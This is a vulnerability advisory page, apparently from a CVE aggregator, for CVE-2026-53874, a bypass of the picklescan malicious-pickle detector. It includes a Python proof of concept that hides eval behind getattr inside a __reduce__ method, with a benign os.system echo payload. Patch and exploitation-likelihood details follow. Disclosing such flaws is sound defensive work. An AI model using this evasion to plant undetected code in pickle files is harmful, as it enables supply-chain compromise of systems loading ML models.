CVE-2026-53874

描述

### Summary An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source. ### Details It's possible to hide the `eval` call nested under another callable via `getattr`. ### PoC ```python import builtins class EvilClass: @staticmethod def _obfuscated_eval(payload): getattr(builtins, "eval")(payload) def __reduce__(self): payload = "__import__('os').system('echo \"successful attack\"')" return self._obfuscated_eval, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

如何修補 CVE-2026-53874

要修補 CVE-2026-53874,請將受影響套件升級到下列已修補版本。

• —升級至 1.0.1 或更新版本
• —升級至 1.0.1 或更新版本

CVE-2026-53874 正在被利用嗎?

低 — EPSS 為 0.5%,目前沒有觀察到大規模利用活動。

受影響套件(2)

• from 0, < 1.0.1
• from 0, < 1.0.1

CVSS 分數

參考連結(9)

• ADVISORYgithub.com/advisories/GHSA-9m3x-qqw2-h32h
• ADVISORYnvd.nist.gov/vuln/detail/CVE-2026-53874
• PATCHgithub.com/mmaitre314/picklescan
• PATCHpypi.org/project/picklescan
• WEB